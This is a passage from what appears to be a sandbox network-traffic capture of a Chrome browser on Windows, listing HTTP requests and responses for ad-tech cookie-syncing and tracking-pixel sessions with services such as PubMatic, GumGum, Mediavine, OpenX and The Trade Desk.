2024-04-11 21:27:02 UTC	745	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:01 GMT; path=/ Set-Cookie: PugT=1712870821; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:01 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.17	50220	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	452	OUT	GET /usersync?b=oth&i=y-DAbm2JJE2pdrBnIlYtHgtwVlMTsTd9cDUHgS~A HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.17	50234	207.65.37.182	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	898	OUT	GET /AdServer/SPug?partnerID=156078&xid=y-A2UXkupE2uXw2ttIdZaIB8OFnkwUuqs-~A&gdpr=0 HTTP/1.1 Host: image4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
2024-04-11 21:27:02 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:02 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1712870822; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:02 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.17	50222	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	436	OUT	GET /usersync?b=dit&i=di_b23c26339dbf4ab9aa059 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.17	50204	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	682	OUT	GET /usersync?b=opx&i=6278d413-3e00-4a00-9da5-aefd13eef9ae HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.17	50213	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1289	OUT	GET /usersync/redirect?partner=gumgum&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=u_a4cb566c-d29c-481c-82f5-d657255d141b HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.17	50245	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	796	OUT	GET /w/1.0/sd?id=537072971&val=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=005486e0-4a10-3ca2-40b5-b365e91123c9&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820
2024-04-11 21:27:03 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870822968334; Version=1; Expires=Fri, 26-Apr-2024 21:27:02 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.17	50212	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1180	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=3c48d748-f84a-11ee-8242-bd2b605e64cf HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; PugT=1712870820
2024-04-11 21:27:03 UTC	650	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:02 GMT; path=/ Set-Cookie: PugT=1712870822; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:02 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.17	50218	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	682	OUT	GET /usersync?b=vnt&i=d3c52a71-4626-42f8-b765-7c4caff9dd34 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:03 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:03 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.17	50224	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	664	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
2024-04-11 21:27:03 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.17	50226	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1052	OUT	GET /usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ce1d1685-fcc3-0bce-20aa-55465b454e74 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.17	50227	35.71.131.137	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	998	OUT	GET /track/cmf/generic?ttd_pid=1mahn14&ttd_puid=3a6574e0-f84a-11ee-a9d1-333cefc92741&ttd_tpi=1&rurl=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthe_trade_desk%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%25%25TDID%25%25 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFGAEgASgCMgsI2oSbuZue7TwQBTgBWghwdWJtYXRpY2AC
2024-04-11 21:27:03 UTC	592	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Length: 289 Connection: close server: Kestrel location: https://exchange.mediavine.com/usersync/redirect?partner=the_trade_desk&type=pixel&partnerId=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19 set-cookie: TDID=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; expires=Fri, 11 Apr 2025 21:27:03 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjEjpiMhZ7tPBAFGAEgASgCMgsI1M3-xpue7TwQBTgBWgcxbWFobjE0YAI.; expires=Fri, 11 Apr 2025 21:27:03 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-11 21:27:03 UTC	289	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 78 63 68 61 6e 67 65 2e 6d 65 64 69 61 76 69 6e 65 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 2f 72 65 64 69 72 65 63 74 3f 70 61 72 74 6e 65 72 3d 74 68 65 5f 74 72 61 64 65 5f 64 65 73 6b 26 74 79 70 65 3d 70 69 78 65 6c 26 70 61 72 74 6e 65 72 49 64 3d 38 34 65 38 63 39 33 35 2d 65 63 31 65 2d 34 65 65 34 2d 61 38 66 34 2d 32 63 62 37 63 61 65 33 61 61 31 39 22 3e 68 74 74 70 73 3a 2f 2f 65 78 63 68 61 6e 67 65 2e 6d 65 64 69 61 76 69 6e 65 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 2f 72 65 64 69 72 65 63 74 3f 70 61 72 74 6e 65 72 3d 74 68 65 5f 74 72 61 64 65 5f 64 65 73 6b 26 74 79 70 65 3d 70 69 78 65 6c 26 70 61 72 74 6e 65 72 49 64 3d 38 34 65 38 63 39 Data Ascii: Redirecting to: <a href="https://exchange.mediavine.com/usersync/redirect?partner=the_trade_desk&type=pixel&partnerId=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19">https://exchange.mediavine.com/usersync/redirect?partner=the_trade_desk&type=pixel&partnerId=84e8c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.17	50242	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	1038	OUT	GET /usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3393848220146687847 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:03 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.17	50231	3.215.216.188	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	767	OUT	GET /server_match?&partner_id=1625&r=https://exchange.mediavine.com/usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId={PUB_USER_ID} HTTP/1.1 Host: ice.360yield.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:03 UTC	746	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Type: text/plain Content-Length: 0 Connection: close access-control-allow-origin: * set-cookie: tuuid=8641df54-0b93-402c-9337-7ec42bdf44ca; Expires=Wed, 10 Jul 2024 21:27:03 GMT; Domain=.360yield.com; Path=/; SameSite=None; Secure set-cookie: tuuid_lu=1712870823; Expires=Wed, 10 Jul 2024 21:27:03 GMT; Domain=.360yield.com; Path=/; SameSite=None; Secure p3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://ice.360yield.com/ul_cb/server_match?&partner_id=1625&r=https://exchange.mediavine.com/usersync/redirect?partner=improvedigital&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=%7BPUB_USER_ID%7D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.17	50238	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:03 UTC	814	OUT	GET /idsync/ex/receive?partner_id=1830&partner_device_id=84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&ttd_puid=f873d799-987f-45f5-8689-9e999756dca0%2C%2C HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1712870811726; TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0; TapAd_3WAY_SYNCS=
2024-04-11 21:27:03 UTC	1101	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:03 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1712870811726;Expires=Mon, 10 Jun 2024 21:27:03 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=f873d799-987f-45f5-8689-9e999756dca0;Expires=Mon, 10 Jun 2024 21:27:03 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!2469;Expires=Mon, 10 Jun 2024 21:27:03 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
